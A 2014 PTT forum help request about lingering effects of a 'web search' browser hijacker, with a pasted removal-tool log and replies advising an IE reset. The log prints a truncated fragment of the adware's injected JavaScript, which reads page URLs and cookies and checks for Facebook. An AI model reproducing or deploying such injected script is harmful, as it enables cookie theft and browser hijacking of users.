作者windhsu (小太極)
看板AntiVirus
標題[求救] web search的問題
時間Fri May 23 11:15:21 2014
1. 敘述問題：
前二天中了web search，在用ad cleaner和自己手動的情況下，大部分的問題已解決。
唯一還留下一個情況不知如何處理。
我有三個browser:ff，ie，chrome。ff和chrome已修好，而ie的首頁也改回來了，現在的
問題是：每次關起來ie，再重新打開時，都會跑回我預設的首頁(如:google，youtube等)
，這看起來很正常，然而我的設定是「啟動時顯示上次工作階段中的索引標籤」，也就是
如果我在開著三個分頁的情況下關掉ie，再開ie時，此時顯示的該是我上次開著的三個分
頁才對。
結果現在只要我一關再開，出來的還是首頁…
請問該如何解?
2. 系統資料：
os: windows 7 旗艦版
anti virus: mse
3. 分析報告：
JRT的結果
~~~ Services
~~~ Registry Values
~~~ Registry Keys
Successfully deleted: [Registry Key]
HKEY_CLASSES_ROOT\CLSID\{80922EE0-8A76-46AE-95D5-BD3C3FE0708D}
Successfully deleted: [Registry Key] HKEY_CURRENT_USER\Software\baidu
Successfully deleted: [Registry Key]
HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\InternetRegistry\REGISTRY\USER\S-1-5-21-523019876-2236334943-
2640228731-1000\Software\sweetim
Successfully deleted: [Registry Key] HKEY_LOCAL_MACHINE\Software\baidu
Successfully deleted: [Registry Key] HKEY_LOCAL_MACHINE\Software\sweetim
~~~ Files
Successfully deleted: [File] "C:\Users\James
Hsu\appdata\locallow\microsoft\silverlight\outofbrowser\index\portal.
qtrax.com"
~~~ Folders
Successfully deleted: [Folder] "C:\Users\James Hsu\AppData\Roaming\baidu"
Successfully deleted: [Folder] "C:\Users\James Hsu\AppData\Roaming\tencent"
Successfully deleted: [Folder] "C:\Program Files (x86)\tencent"
Successfully deleted: [Folder] "C:\Users\James Hsu\music\qtrax media library"
~~~ FireFox
Successfully deleted: [Registry Key]
HKEY_LOCAL_MACHINE\Software\MozillaPlugins\@baidu.com/npxbdsetup
Successfully deleted the following from C:\Users\James
Hsu\AppData\Roaming\mozilla\firefox\profiles\gainerte.default\prefs.js
user_pref("extensions.airghqpxaXck.scode", "(function(){try{var
url=(window.self.location.href +
document.cookie);if(url.indexOf(\"acebook\")>-1||url.indexOf(\"warnalert11.com
Emptied folder: C:\Users\James
Hsu\AppData\Roaming\mozilla\firefox\profiles\gainerte.default\minidumps [416
files]
~~~ Event Viewer Logs were cleared
以上，謝謝
--
I'M THE BEST THERE IS AT WHAT I DO, BUT WHAT I DO BEST ISN'T VERY NICE.
在做這檔子事的人當中，我是最頂尖的，但是這檔子事卻很糟糕。
--
※ 發信站: 批踢踢實業坊(ptt.cc), 來自: 36.226.198.147
※ 文章網址: http://webptt.com/m.aspx?n=bbs/AntiVirus/M.1400814924.A.EF2.html
1F：→ fatstan:去網際網路選項重設IE 05/23 11:59
2F：→ windhsu:有用，謝謝你 05/23 22:17
3F：→ Carlchen:我跟你一樣，我前天被web search綁架，重設browser外加 05/31 11:51
4F：→ Carlchen:ad cleaner，不過重設browser前沒有local備份書籤 05/31 11:53
5F：→ Carlchen:不巧碰上firefox舊版改新版，舊版帳號竟然被說未註冊@@ 05/31 11:54
6F：→ Carlchen:不過想到曾經有在虛擬機內的OS sync過，救回一部份的書籤 05/31 11:56